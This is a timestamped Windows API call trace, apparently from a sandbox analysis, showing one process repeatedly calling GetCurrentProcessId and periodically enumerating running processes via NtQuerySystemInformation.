GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.096] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.097] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.098] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.099] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.100] GetCurrentProcessId () returned 0x10c0 [0167.627] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d900) returned 0x0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.635] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.636] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.637] GetCurrentProcessId () returned 0x10c0 [0167.638] GetCurrentProcessId () returned 0x10c0 [0167.638] GetCurrentProcessId () returned 0x10c0 [0167.638] GetCurrentProcessId () returned 0x10c0 [0167.638] GetCurrentProcessId () returned 0x10c0 [0167.638] GetCurrentProcessId () returned 0x10c0 [0167.638] GetCurrentProcessId () returned 0x10c0 [0167.638] GetCurrentProcessId () returned 0x10c0 [0167.638] GetCurrentProcessId () returned 0x10c0 [0167.638] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.639] GetCurrentProcessId () returned 0x10c0 [0167.640] GetCurrentProcessId () returned 0x10c0 [0167.640] GetCurrentProcessId () returned 0x10c0 [0167.640] GetCurrentProcessId () returned 0x10c0 [0167.640] GetCurrentProcessId () returned 0x10c0 [0168.236] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d900) returned 0x0 [0168.243] GetCurrentProcessId () returned 0x10c0 [0168.243] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.244] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.245] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.246] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.247] GetCurrentProcessId () returned 0x10c0 [0168.248] GetCurrentProcessId () returned 0x10c0 [0168.248] GetCurrentProcessId () returned 0x10c0 [0168.248] GetCurrentProcessId () returned 0x10c0 [0168.248] GetCurrentProcessId () returned 0x10c0 [0168.248] GetCurrentProcessId () returned 0x10c0 [0168.248] GetCurrentProcessId () returned 0x10c0 [0168.248] GetCurrentProcessId () returned 0x10c0 [0168.248] GetCurrentProcessId () returned 0x10c0 [0168.248] GetCurrentProcessId () returned 0x10c0 [0168.248] GetCurrentProcessId () returned 0x10c0 [0168.248] GetCurrentProcessId () returned 0x10c0 [0168.248] GetCurrentProcessId () returned 0x10c0 [0168.248] GetCurrentProcessId () returned 0x10c0 [0168.837] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d8b0) returned 0x0 [0168.854] GetCurrentProcessId () returned 0x10c0 [0168.854] GetCurrentProcessId () returned 0x10c0 [0168.854] GetCurrentProcessId () returned 0x10c0 [0168.854] GetCurrentProcessId () returned 0x10c0 [0168.854] GetCurrentProcessId () returned 0x10c0 [0168.854] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.855] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.856] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.857] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.858] GetCurrentProcessId () returned 0x10c0 [0168.859] GetCurrentProcessId () returned 0x10c0 [0168.859] GetCurrentProcessId () returned 0x10c0 [0168.859] GetCurrentProcessId () returned 0x10c0 [0168.859] GetCurrentProcessId () returned 0x10c0 [0168.859] GetCurrentProcessId () returned 0x10c0 [0168.859] GetCurrentProcessId () returned 0x10c0 [0168.859] GetCurrentProcessId () returned 0x10c0 [0168.859] GetCurrentProcessId () returned 0x10c0 [0168.859] GetCurrentProcessId () returned 0x10c0 [0168.859] GetCurrentProcessId () returned 0x10c0 [0168.859] GetCurrentProcessId () returned 0x10c0 [0168.859] GetCurrentProcessId () returned 0x10c0 [0169.428] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d8b0) returned 0x0 [0169.973] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d8b0) returned 0x0 [0170.517] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d900) returned 0x0 [0170.525] GetCurrentProcessId () returned 0x10c0 [0170.525] GetCurrentProcessId () returned 0x10c0 [0170.525] GetCurrentProcessId () returned 0x10c0 [0170.525] GetCurrentProcessId () returned 0x10c0 [0170.525] GetCurrentProcessId () returned 0x10c0 [0170.525] GetCurrentProcessId () returned 0x10c0 [0170.525] GetCurrentProcessId () returned 0x10c0 [0170.525] GetCurrentProcessId () returned 0x10c0 [0170.525] GetCurrentProcessId () returned 0x10c0 [0170.525] GetCurrentProcessId () returned 0x10c0 [0170.525] GetCurrentProcessId () returned 0x10c0 [0170.525] GetCurrentProcessId () returned 0x10c0 [0170.525] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.526] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.527] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.528] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0170.529] GetCurrentProcessId () returned 0x10c0 [0171.075] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1282dde8, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x1282dde8, ResultLength=0x1b8bf0d0*=0x1d950) returned 0x0 [0171.164] GetCurrentProcessId () returned 0x10c0 [0171.164] GetCurrentProcessId () returned 0x10c0 